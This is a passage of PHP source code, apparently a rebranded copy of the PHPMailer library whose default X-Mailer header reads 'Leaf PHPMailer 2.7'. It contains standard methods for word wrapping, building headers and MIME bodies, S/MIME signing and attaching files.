  1812.      * @access public
  1813.      * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1814.      *      like array('joe@example.com', 'Joe User')
  1815.      * @return string
  1816.      */
  1817.     public function addrFormat($addr)
  1818.     {
  1819.         if (empty($addr[1])) { // No name provided
  1820.             return $this->secureHeader($addr[0]);
  1821.         } else {
  1822.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1823.                 $addr[0]
  1824.             ) . '>';
  1825.         }
  1826.     }
  1827.  
  1828.     /**
  1829.      * Word-wrap message.
  1830.      * For use with mailers that do not automatically perform wrapping
  1831.      * and for quoted-printable encoded messages.
  1832.      * Original written by philippe.
  1833.      * @param string $message The message to wrap
  1834.      * @param integer $length The line length to wrap to
  1835.      * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1836.      * @access public
  1837.      * @return string
  1838.      */
  1839.     public function wrapText($message, $length, $qp_mode = false)
  1840.     {
  1841.         if ($qp_mode) {
  1842.             $soft_break = sprintf(' =%s', $this->LE);
  1843.         } else {
  1844.             $soft_break = $this->LE;
  1845.         }
  1846.         // If utf-8 encoding is used, we will need to make sure we don't
  1847.         // split multibyte characters when we wrap
  1848.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1849.         $lelen = strlen($this->LE);
  1850.         $crlflen = strlen(self::CRLF);
  1851.  
  1852.         $message = $this->fixEOL($message);
  1853.         //Remove a trailing line break
  1854.         if (substr($message, -$lelen) == $this->LE) {
  1855.             $message = substr($message, 0, -$lelen);
  1856.         }
  1857.  
  1858.         //Split message into lines
  1859.         $lines = explode($this->LE, $message);
  1860.         //Message will be rebuilt in here
  1861.         $message = '';
  1862.         foreach ($lines as $line) {
  1863.             $words = explode(' ', $line);
  1864.             $buf = '';
  1865.             $firstword = true;
  1866.             foreach ($words as $word) {
  1867.                 if ($qp_mode and (strlen($word) > $length)) {
  1868.                     $space_left = $length - strlen($buf) - $crlflen;
  1869.                     if (!$firstword) {
  1870.                         if ($space_left > 20) {
  1871.                             $len = $space_left;
  1872.                             if ($is_utf8) {
  1873.                                 $len = $this->utf8CharBoundary($word, $len);
  1874.                             } elseif (substr($word, $len - 1, 1) == '=') {
  1875.                                 $len--;
  1876.                             } elseif (substr($word, $len - 2, 1) == '=') {
  1877.                                 $len -= 2;
  1878.                             }
  1879.                             $part = substr($word, 0, $len);
  1880.                             $word = substr($word, $len);
  1881.                             $buf .= ' ' . $part;
  1882.                             $message .= $buf . sprintf('=%s', self::CRLF);
  1883.                         } else {
  1884.                             $message .= $buf . $soft_break;
  1885.                         }
  1886.                         $buf = '';
  1887.                     }
  1888.                     while (strlen($word) > 0) {
  1889.                         if ($length <= 0) {
  1890.                             break;
  1891.                         }
  1892.                         $len = $length;
  1893.                         if ($is_utf8) {
  1894.                             $len = $this->utf8CharBoundary($word, $len);
  1895.                         } elseif (substr($word, $len - 1, 1) == '=') {
  1896.                             $len--;
  1897.                         } elseif (substr($word, $len - 2, 1) == '=') {
  1898.                             $len -= 2;
  1899.                         }
  1900.                         $part = substr($word, 0, $len);
  1901.                         $word = substr($word, $len);
  1902.  
  1903.                         if (strlen($word) > 0) {
  1904.                             $message .= $part . sprintf('=%s', self::CRLF);
  1905.                         } else {
  1906.                             $buf = $part;
  1907.                         }
  1908.                     }
  1909.                 } else {
  1910.                     $buf_o = $buf;
  1911.                     if (!$firstword) {
  1912.                         $buf .= ' ';
  1913.                     }
  1914.                     $buf .= $word;
  1915.  
  1916.                     if (strlen($buf) > $length and $buf_o != '') {
  1917.                         $message .= $buf_o . $soft_break;
  1918.                         $buf = $word;
  1919.                     }
  1920.                 }
  1921.                 $firstword = false;
  1922.             }
  1923.             $message .= $buf . self::CRLF;
  1924.         }
  1925.  
  1926.         return $message;
  1927.     }
  1928.  
  1929.     /**
  1930.      * Find the last character boundary prior to $maxLength in a utf-8
  1931.      * quoted-printable encoded string.
  1932.      * Original written by Colin Brown.
  1933.      * @access public
  1934.      * @param string $encodedText utf-8 QP text
  1935.      * @param integer $maxLength Find the last character boundary prior to this length
  1936.      * @return integer
  1937.      */
  1938.     public function utf8CharBoundary($encodedText, $maxLength)
  1939.     {
  1940.         $foundSplitPos = false;
  1941.         $lookBack = 3;
  1942.         while (!$foundSplitPos) {
  1943.             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1944.             $encodedCharPos = strpos($lastChunk, '=');
  1945.             if (false !== $encodedCharPos) {
  1946.                 // Found start of encoded character byte within $lookBack block.
  1947.                 // Check the encoded byte value (the 2 chars after the '=')
  1948.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1949.                 $dec = hexdec($hex);
  1950.                 if ($dec < 128) {
  1951.                     // Single byte character.
  1952.                     // If the encoded char was found at pos 0, it will fit
  1953.                     // otherwise reduce maxLength to start of the encoded char
  1954.                     if ($encodedCharPos > 0) {
  1955.                         $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1956.                     }
  1957.                     $foundSplitPos = true;
  1958.                 } elseif ($dec >= 192) {
  1959.                     // First byte of a multi byte character
  1960.                     // Reduce maxLength to split at start of character
  1961.                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1962.                     $foundSplitPos = true;
  1963.                 } elseif ($dec < 192) {
  1964.                     // Middle byte of a multi byte character, look further back
  1965.                     $lookBack += 3;
  1966.                 }
  1967.             } else {
  1968.                 // No encoded character found
  1969.                 $foundSplitPos = true;
  1970.             }
  1971.         }
  1972.         return $maxLength;
  1973.     }
  1974.  
  1975.     /**
  1976.      * Apply word wrapping to the message body.
  1977.      * Wraps the message body to the number of chars set in the WordWrap property.
  1978.      * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  1979.      * This is called automatically by createBody(), so you don't need to call it yourself.
  1980.      * @access public
  1981.      * @return void
  1982.      */
  1983.     public function setWordWrap()
  1984.     {
  1985.         if ($this->WordWrap < 1) {
  1986.             return;
  1987.         }
  1988.  
  1989.         switch ($this->message_type) {
  1990.             case 'alt':
  1991.             case 'alt_inline':
  1992.             case 'alt_attach':
  1993.             case 'alt_inline_attach':
  1994.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1995.                 break;
  1996.             default:
  1997.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1998.                 break;
  1999.         }
  2000.     }
  2001.  
  2002.     /**
  2003.      * Assemble message headers.
  2004.      * @access public
  2005.      * @return string The assembled headers
  2006.      */
  2007.     public function createHeader()
  2008.     {
  2009.         $result = '';
  2010.  
  2011.         if ($this->MessageDate == '') {
  2012.             $this->MessageDate = self::rfcDate();
  2013.         }
  2014.         $result .= $this->headerLine('Date', $this->MessageDate);
  2015.  
  2016.         // To be created automatically by mail()
  2017.         if ($this->SingleTo) {
  2018.             if ($this->Mailer != 'mail') {
  2019.                 foreach ($this->to as $toaddr) {
  2020.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  2021.                 }
  2022.             }
  2023.         } else {
  2024.             if (count($this->to) > 0) {
  2025.                 if ($this->Mailer != 'mail') {
  2026.                     $result .= $this->addrAppend('To', $this->to);
  2027.                 }
  2028.             } elseif (count($this->cc) == 0) {
  2029.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  2030.             }
  2031.         }
  2032.  
  2033.         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  2034.  
  2035.         // sendmail and mail() extract Cc from the header before sending
  2036.         if (count($this->cc) > 0) {
  2037.             $result .= $this->addrAppend('Cc', $this->cc);
  2038.         }
  2039.  
  2040.         // sendmail and mail() extract Bcc from the header before sending
  2041.         if ((
  2042.                 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  2043.             )
  2044.             and count($this->bcc) > 0
  2045.         ) {
  2046.             $result .= $this->addrAppend('Bcc', $this->bcc);
  2047.         }
  2048.  
  2049.         if (count($this->ReplyTo) > 0) {
  2050.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  2051.         }
  2052.  
  2053.         // mail() sets the subject itself
  2054.         if ($this->Mailer != 'mail') {
  2055.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  2056.         }
  2057.  
  2058.         if ($this->MessageID != '') {
  2059.             $this->lastMessageID = $this->MessageID;
  2060.         } else {
  2061.             $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  2062.         }
  2063.         $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  2064.         if (!is_null($this->Priority)) {
  2065.             $result .= $this->headerLine('X-Priority', $this->Priority);
  2066.         }
  2067.         if ($this->XMailer == '') {
  2068.             $result .= $this->headerLine(
  2069.                 'X-Mailer',
  2070.                 'Leaf PHPMailer 2.7 (leafmailer.pw)'
  2071.             );
  2072.         } else {
  2073.             $myXmailer = trim($this->XMailer);
  2074.             if ($myXmailer) {
  2075.                 $result .= $this->headerLine('X-Mailer', $myXmailer);
  2076.             }
  2077.         }
  2078.  
  2079.         if ($this->ConfirmReadingTo != '') {
  2080.             $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  2081.         }
  2082.  
  2083.         // Add custom headers
  2084.         foreach ($this->CustomHeader as $header) {
  2085.             $result .= $this->headerLine(
  2086.                 trim($header[0]),
  2087.                 $this->encodeHeader(trim($header[1]))
  2088.             );
  2089.         }
  2090.         if (!$this->sign_key_file) {
  2091.             $result .= $this->headerLine('MIME-Version', '1.0');
  2092.             $result .= $this->getMailMIME();
  2093.         }
  2094.  
  2095.         return $result;
  2096.     }
  2097.  
  2098.     /**
  2099.      * Get the message MIME type headers.
  2100.      * @access public
  2101.      * @return string
  2102.      */
  2103.     public function getMailMIME()
  2104.     {
  2105.         $result = '';
  2106.         $ismultipart = true;
  2107.         switch ($this->message_type) {
  2108.             case 'inline':
  2109.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  2110.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2111.                 break;
  2112.             case 'attach':
  2113.             case 'inline_attach':
  2114.             case 'alt_attach':
  2115.             case 'alt_inline_attach':
  2116.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  2117.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2118.                 break;
  2119.             case 'alt':
  2120.             case 'alt_inline':
  2121.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2122.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2123.                 break;
  2124.             default:
  2125.                 // Catches case 'plain': and case '':
  2126.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  2127.                 $ismultipart = false;
  2128.                 break;
  2129.         }
  2130.         // RFC1341 part 5 says 7bit is assumed if not specified
  2131.         if ($this->Encoding != '7bit') {
  2132.             // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  2133.             if ($ismultipart) {
  2134.                 if ($this->Encoding == '8bit') {
  2135.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  2136.                 }
  2137.                 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  2138.             } else {
  2139.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  2140.             }
  2141.         }
  2142.  
  2143.         if ($this->Mailer != 'mail') {
  2144.             $result .= $this->LE;
  2145.         }
  2146.  
  2147.         return $result;
  2148.     }
  2149.  
  2150.     /**
  2151.      * Returns the whole MIME message.
  2152.      * Includes complete headers and body.
  2153.      * Only valid post preSend().
  2154.      * @see PHPMailer::preSend()
  2155.      * @access public
  2156.      * @return string
  2157.      */
  2158.     public function getSentMIMEMessage()
  2159.     {
  2160.         return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  2161.     }
  2162.  
  2163.     /**
  2164.      * Assemble the message body.
  2165.      * Returns an empty string on failure.
  2166.      * @access public
  2167.      * @throws phpmailerException
  2168.      * @return string The assembled message body
  2169.      */
  2170.     public function createBody()
  2171.     {
  2172.         $body = '';
  2173.         //Create unique IDs and preset boundaries
  2174.         $this->uniqueid = md5(uniqid(time()));
  2175.         $this->boundary[1] = 'b1_' . $this->uniqueid;
  2176.         $this->boundary[2] = 'b2_' . $this->uniqueid;
  2177.         $this->boundary[3] = 'b3_' . $this->uniqueid;
  2178.  
  2179.         if ($this->sign_key_file) {
  2180.             $body .= $this->getMailMIME() . $this->LE;
  2181.         }
  2182.  
  2183.         $this->setWordWrap();
  2184.  
  2185.         $bodyEncoding = $this->Encoding;
  2186.         $bodyCharSet = $this->CharSet;
  2187.         //Can we do a 7-bit downgrade?
  2188.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  2189.             $bodyEncoding = '7bit';
  2190.             $bodyCharSet = 'us-ascii';
  2191.         }
  2192.         //If lines are too long, and we're not already using an encoding that will shorten them,
  2193.         //change to quoted-printable transfer encoding
  2194.         if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  2195.             $this->Encoding = 'quoted-printable';
  2196.             $bodyEncoding = 'quoted-printable';
  2197.         }
  2198.  
  2199.         $altBodyEncoding = $this->Encoding;
  2200.         $altBodyCharSet = $this->CharSet;
  2201.         //Can we do a 7-bit downgrade?
  2202.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  2203.             $altBodyEncoding = '7bit';
  2204.             $altBodyCharSet = 'us-ascii';
  2205.         }
  2206.         //If lines are too long, and we're not already using an encoding that will shorten them,
  2207.         //change to quoted-printable transfer encoding
  2208.         if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  2209.             $altBodyEncoding = 'quoted-printable';
  2210.         }
  2211.         //Use this as a preamble in all multipart message types
  2212.         $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  2213.         switch ($this->message_type) {
  2214.             case 'inline':
  2215.                 $body .= $mimepre;
  2216.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2217.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2218.                 $body .= $this->LE . $this->LE;
  2219.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  2220.                 break;
  2221.             case 'attach':
  2222.                 $body .= $mimepre;
  2223.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2224.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2225.                 $body .= $this->LE . $this->LE;
  2226.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2227.                 break;
  2228.             case 'inline_attach':
  2229.                 $body .= $mimepre;
  2230.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2231.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2232.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2233.                 $body .= $this->LE;
  2234.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  2235.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2236.                 $body .= $this->LE . $this->LE;
  2237.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  2238.                 $body .= $this->LE;
  2239.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2240.                 break;
  2241.             case 'alt':
  2242.                 $body .= $mimepre;
  2243.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2244.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2245.                 $body .= $this->LE . $this->LE;
  2246.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  2247.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2248.                 $body .= $this->LE . $this->LE;
  2249.                 if (!empty($this->Ical)) {
  2250.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  2251.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  2252.                     $body .= $this->LE . $this->LE;
  2253.                 }
  2254.                 $body .= $this->endBoundary($this->boundary[1]);
  2255.                 break;
  2256.             case 'alt_inline':
  2257.                 $body .= $mimepre;
  2258.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2259.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2260.                 $body .= $this->LE . $this->LE;
  2261.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2262.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2263.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2264.                 $body .= $this->LE;
  2265.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2266.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2267.                 $body .= $this->LE . $this->LE;
  2268.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  2269.                 $body .= $this->LE;
  2270.                 $body .= $this->endBoundary($this->boundary[1]);
  2271.                 break;
  2272.             case 'alt_attach':
  2273.                 $body .= $mimepre;
  2274.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2275.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2276.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2277.                 $body .= $this->LE;
  2278.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2279.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2280.                 $body .= $this->LE . $this->LE;
  2281.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2282.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2283.                 $body .= $this->LE . $this->LE;
  2284.                 $body .= $this->endBoundary($this->boundary[2]);
  2285.                 $body .= $this->LE;
  2286.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2287.                 break;
  2288.             case 'alt_inline_attach':
  2289.                 $body .= $mimepre;
  2290.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2291.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2292.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2293.                 $body .= $this->LE;
  2294.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2295.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2296.                 $body .= $this->LE . $this->LE;
  2297.                 $body .= $this->textLine('--' . $this->boundary[2]);
  2298.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2299.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  2300.                 $body .= $this->LE;
  2301.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2302.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2303.                 $body .= $this->LE . $this->LE;
  2304.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  2305.                 $body .= $this->LE;
  2306.                 $body .= $this->endBoundary($this->boundary[2]);
  2307.                 $body .= $this->LE;
  2308.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2309.                 break;
  2310.             default:
  2311.                 // catch case 'plain' and case ''
  2312.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2313.                 break;
  2314.         }
  2315.  
  2316.         if ($this->isError()) {
  2317.             $body = '';
  2318.         } elseif ($this->sign_key_file) {
  2319.             try {
  2320.                 if (!defined('PKCS7_TEXT')) {
  2321.                     throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2322.                 }
  2323.                 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2324.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  2325.                 if (false === file_put_contents($file, $body)) {
  2326.                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2327.                 }
  2328.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  2329.                 //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2330.                 if (empty($this->sign_extracerts_file)) {
  2331.                     $sign = @openssl_pkcs7_sign(
  2332.                         $file,
  2333.                         $signed,
  2334.                         'file://' . realpath($this->sign_cert_file),
  2335.                         array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2336.                         null
  2337.                     );
  2338.                 } else {
  2339.                     $sign = @openssl_pkcs7_sign(
  2340.                         $file,
  2341.                         $signed,
  2342.                         'file://' . realpath($this->sign_cert_file),
  2343.                         array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2344.                         null,
  2345.                         PKCS7_DETACHED,
  2346.                         $this->sign_extracerts_file
  2347.                     );
  2348.                 }
  2349.                 if ($sign) {
  2350.                     @unlink($file);
  2351.                     $body = file_get_contents($signed);
  2352.                     @unlink($signed);
  2353.                     //The message returned by openssl contains both headers and body, so need to split them up
  2354.                     $parts = explode("\n\n", $body, 2);
  2355.                     $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  2356.                     $body = $parts[1];
  2357.                 } else {
  2358.                     @unlink($file);
  2359.                     @unlink($signed);
  2360.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2361.                 }
  2362.             } catch (phpmailerException $exc) {
  2363.                 $body = '';
  2364.                 if ($this->exceptions) {
  2365.                     throw $exc;
  2366.                 }
  2367.             }
  2368.         }
  2369.         return $body;
  2370.     }
  2371.  
  2372.     /**
  2373.      * Return the start of a message boundary.
  2374.      * @access protected
  2375.      * @param string $boundary
  2376.      * @param string $charSet
  2377.      * @param string $contentType
  2378.      * @param string $encoding
  2379.      * @return string
  2380.      */
  2381.     protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  2382.     {
  2383.         $result = '';
  2384.         if ($charSet == '') {
  2385.             $charSet = $this->CharSet;
  2386.         }
  2387.         if ($contentType == '') {
  2388.             $contentType = $this->ContentType;
  2389.         }
  2390.         if ($encoding == '') {
  2391.             $encoding = $this->Encoding;
  2392.         }
  2393.         $result .= $this->textLine('--' . $boundary);
  2394.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2395.         $result .= $this->LE;
  2396.         // RFC1341 part 5 says 7bit is assumed if not specified
  2397.         if ($encoding != '7bit') {
  2398.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2399.         }
  2400.         $result .= $this->LE;
  2401.  
  2402.         return $result;
  2403.     }
  2404.  
  2405.     /**
  2406.      * Return the end of a message boundary.
  2407.      * @access protected
  2408.      * @param string $boundary
  2409.      * @return string
  2410.      */
  2411.     protected function endBoundary($boundary)
  2412.     {
  2413.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  2414.     }
  2415.  
  2416.     /**
  2417.      * Set the message type.
  2418.      * PHPMailer only supports some preset message types,
  2419.      * not arbitrary MIME structures.
  2420.      * @access protected
  2421.      * @return void
  2422.      */
  2423.     protected function setMessageType()
  2424.     {
  2425.         $type = array();
  2426.         if ($this->alternativeExists()) {
  2427.             $type[] = 'alt';
  2428.         }
  2429.         if ($this->inlineImageExists()) {
  2430.             $type[] = 'inline';
  2431.         }
  2432.         if ($this->attachmentExists()) {
  2433.             $type[] = 'attach';
  2434.         }
  2435.         $this->message_type = implode('_', $type);
  2436.         if ($this->message_type == '') {
  2437.             $this->message_type = 'plain';
  2438.         }
  2439.     }
  2440.  
  2441.     /**
  2442.      * Format a header line.
  2443.      * @access public
  2444.      * @param string $name
  2445.      * @param string $value
  2446.      * @return string
  2447.      */
  2448.     public function headerLine($name, $value)
  2449.     {
  2450.         return $name . ': ' . $value . $this->LE;
  2451.     }
  2452.  
  2453.     /**
  2454.      * Return a formatted mail line.
  2455.      * @access public
  2456.      * @param string $value
  2457.      * @return string
  2458.      */
  2459.     public function textLine($value)
  2460.     {
  2461.         return $value . $this->LE;
  2462.     }
  2463.  
  2464.     /**
  2465.      * Add an attachment from a path on the filesystem.
  2466.      * Returns false if the file could not be found or read.
  2467.      * @param string $path Path to the attachment.
  2468.      * @param string $name Overrides the attachment name.
  2469.      * @param string $encoding File encoding (see $Encoding).
  2470.      * @param string $type File extension (MIME) type.
  2471.      * @param string $disposition Disposition to use
  2472.      * @throws phpmailerException
  2473.      * @return boolean
  2474.      */
  2475.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  2476.     {
  2477.         try {
  2478.             if (!@is_file($path)) {
  2479.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2480.             }
  2481.  
  2482.             // If a MIME type is not specified, try to work it out from the file name
  2483.             if ($type == '') {
  2484.                 $type = self::filenameToType($path);
  2485.             }
  2486.  
  2487.             $filename = basename($path);
  2488.             if ($name == '') {
  2489.                 $name = $filename;
  2490.             }
  2491.  
  2492.             $this->attachment[] = array(
  2493.                 0 => $path,
  2494.                 1 => $filename,
  2495.                 2 => $name,
  2496.                 3 => $encoding,
  2497.                 4 => $type,
  2498.                 5 => false, // isStringAttachment
  2499.                 6 => $disposition,
  2500.                 7 => 0
  2501.             );
  2502.  
  2503.         } catch (phpmailerException $exc) {
  2504.             $this->setError($exc->getMessage());
  2505.             $this->edebug($exc->getMessage());
  2506.             if ($this->exceptions) {
  2507.                 throw $exc;
  2508.             }
  2509.             return false;
  2510.         }
  2511.         return true;
  2512.     }
  2513.  
  2514.     /**
  2515.      * Return the array of attachments.
  2516.      * @return array
  2517.      */
  2518.     public function getAttachments()
  2519.     {
  2520.         return $this->attachment;
  2521.     }
  2522.  
  2523.     /**
  2524.      * Attach all file, string, and binary attachments to the message.
  2525.      * Returns an empty string on failure.
  2526.      * @access protected
  2527.      * @param string $disposition_type
  2528.      * @param string $boundary
  2529.      * @return string
  2530.      */
  2531.     protected function attachAll($disposition_type, $boundary)
  2532.     {
  2533.         // Return text of body
  2534.         $mime = array();
  2535.         $cidUniq = array();
  2536.         $incl = array();
  2537.  
  2538.         // Add all attachments
  2539.         foreach ($this->attachment as $attachment) {
  2540.             // Check if it is a valid disposition_filter
  2541.             if ($attachment[6] == $disposition_type) {
  2542.                 // Check for string attachment
  2543.                 $string = '';
  2544.                 $path = '';
  2545.                 $bString = $attachment[5];
  2546.                 if ($bString) {
  2547.                     $string = $attachment[0];
  2548.                 } else {
  2549.                     $path = $attachment[0];
  2550.                 }
  2551.  
  2552.                 $inclhash = md5(serialize($attachment));
  2553.                 if (in_array($inclhash, $incl)) {
  2554.                     continue;
  2555.                 }
  2556.                 $incl[] = $inclhash;
  2557.                 $name = $attachment[2];
  2558.                 $encoding = $attachment[3];
  2559.                 $type = $attachment[4];
  2560.                 $disposition = $attachment[6];
  2561.                 $cid = $attachment[7];
  2562.                 if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2563.                     continue;
  2564.                 }
  2565.                 $cidUniq[$cid] = true;
  2566.  
  2567.                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2568.                 //Only include a filename property if we have one
  2569.                 if (!empty($name)) {
  2570.                     $mime[] = sprintf(
  2571.                         'Content-Type: %s; name="%s"%s',
  2572.                         $type,
  2573.                         $this->encodeHeader($this->secureHeader($name)),
  2574.                         $this->LE
  2575.                     );
  2576.                 } else {
  2577.                     $mime[] = sprintf(
  2578.                         'Content-Type: %s%s',
  2579.                         $type,
  2580.                         $this->LE
  2581.                     );
  2582.                 }
  2583.                 // RFC1341 part 5 says 7bit is assumed if not specified
  2584.                 if ($encoding != '7bit') {
  2585.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2586.                 }
  2587.  
  2588.                 if ($disposition == 'inline') {
  2589.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2590.                 }
  2591.  
  2592.                 // If a filename contains any of these chars, it should be quoted,
  2593.                 // but not otherwise: RFC2183 & RFC2045 5.1
  2594.                 // Fixes a warning in IETF's msglint MIME checker
  2595.                 // Allow for bypassing the Content-Disposition header totally
  2596.                 if (!(empty($disposition))) {
  2597.                     $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2598.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  2599.                         $mime[] = sprintf(
  2600.                             'Content-Disposition: %s; filename="%s"%s',
  2601.                             $disposition,
  2602.                             $encoded_name,
  2603.                             $this->LE . $this->LE
  2604.                         );
  2605.                     } else {
  2606.                         if (!empty($encoded_name)) {
  2607.                             $mime[] = sprintf(
  2608.                                 'Content-Disposition: %s; filename=%s%s',
  2609.                                 $disposition,
  2610.                                 $encoded_name,
  2611.                                 $this->LE . $this->LE
  2612.                             );
  2613.                         } else {
  2614.                             $mime[] = sprintf(
  2615.                                 'Content-Disposition: %s%s',
  2616.                                 $disposition,
  2617.                                 $this->LE . $this->LE
  2618.                             );
  2619.                         }
  2620.                     }
  2621.                 } else {
  2622.                     $mime[] = $this->LE;
  2623.                 }
  2624.  
  2625.                 // Encode as string attachment
  2626.                 if ($bString) {
  2627.                     $mime[] = $this->encodeString($string, $encoding);
  2628.                     if ($this->isError()) {
  2629.                         return '';
  2630.                     }
  2631.                     $mime[] = $this->LE . $this->LE;
  2632.                 } else {
  2633.                     $mime[] = $this->encodeFile($path, $encoding);
  2634.                     if ($this->isError()) {
  2635.                         return '';
  2636.                     }
  2637.                     $mime[] = $this->LE . $this->LE;
  2638.                 }
  2639.             }
  2640.         }
  2641.  
  2642.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2643.  
  2644.         return implode('', $mime);
  2645.     }
  2646.  
  2647.     /**
  2648.      * Encode a file attachment in requested format.
  2649.      * Returns an empty string on failure.
  2650.      * @param string $path The full path to the file
